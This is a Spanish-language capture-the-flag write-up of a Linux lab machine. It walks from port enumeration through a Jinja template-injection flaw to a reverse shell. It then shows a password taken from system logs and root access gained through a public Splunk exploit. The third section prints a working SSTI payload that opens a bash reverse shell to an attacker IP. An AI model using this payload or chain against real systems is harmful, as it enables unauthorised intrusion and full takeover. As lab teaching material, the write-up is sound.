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1. Enumeración 
Lanzamos un Ping para hacernos una idea de si la máquina víctima puede ser una máquina 

Windows o Linux. Por el TTL, parece que nos estamos enfrentando a una máquina Linux. 

 

La máquina víctima tiene abiertos los puertos 22 y 80. 
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2. Análisis de vulnerabilidades. 
Revisamos con whatweb, las tecnologías usadas. 

 

Accedemos a la web y vemos un correo electrónico info@doctors.htb. Por si luego 

necesitamos “fuzzear”, vamos a añadir dicho dominio al /etc/hosts. No vemos nada 

interesante accediendo por IP. Vamos a intentar acceder con http://doctors.htb. Veremos un 

panel de autenticación. 

 

Nos creamos un usuario de prueba y accedemos. Revisamos el código fuente de la página y 

vemos un contenido interesante. Parece que hay una parte de la web oculta. 

 

Nos creamos un post en la web, intentando explotar un SSTI. 

 

 

 

 

 

mailto:info@doctors.htb
http://doctors.htb/
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Nos dirigimos a la web “archive” y comprobamos que es vulnerable a SSTI. 

 

 

3. Explotación e intrusión. 
Ahora que hemos detectado una vulnerabilidad de la cual nos podemos aprovechar para ganar 

acceso a la máquina víctima, vamos a intentar inyectar una “reverse shell”. Creamos un nuevo 

post con el siguiente contenido: 

• {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('/bin/bash 

-c \"/bin/bash -i >& /dev/tcp/10.10.14.63/443 0>&1\"').read() }} 

Nos ponemos en escucha por el puerto 443 con “nc” y nos dirigimos a la web “archive”. 

 

Y logramos el acceso. 
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4. Movimiento lateral. 
Realizamos nuestro tratamiento de la TTY habitual. Inspeccionamos quienes somos, y vemos 

que pertenecemos al grupo adm. 

 

 

¿Qué puede hacer los usuarios que pertenecen a este grupo? Pues visualizar los logs del 

sistema. Vamos a realizar una búsqueda en el directorio /var/log/, intentando encontrar 

alguna entrada con la palabra “password”. 

 

Encontramos la credencial “Guitar123”. 

Revisamos el fichero /etc/passwd y nos fijamos en el usuario shaun. ¿Pertenecerá la clave 

anterior a este usuario? 

 

Intentamos cambiarnos de usuario y efectivamente las credenciales funcionan. 

 

 

5. Escalada de privilegios. 
Anteriormente, al revisar el fichero /etc/passwd, vimos que existía un usuario llamado splunk. 

Comprobamos si realmente está corriendo este software y si lo hace sobre el contexto de root, 

y efectivamente. Ya tenemos una posible forma de escalar privilegios. 

 

Googleando, encontramos el siguiente enlace: https://github.com/cnotin/SplunkWhisperer2 

https://github.com/cnotin/SplunkWhisperer2
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Nos clonamos el proyecto a nuestra máquina. 

 

Intentamos ejecutar el exploit sin credenciales, pero nos da un error de autenticación.  

 

Vamos a probar con las credenciales del usuario shaun. En esta ocasión si que parece que 

funciona.

 

Vamos a lanzar de nuevo el exploit, pero esta vez dando permisos SUID a la bash.

 

Comprobamos que se hayan cambiado los permisos y ejecutamos bash -p. Con esto, 

terminamos la escalada. 
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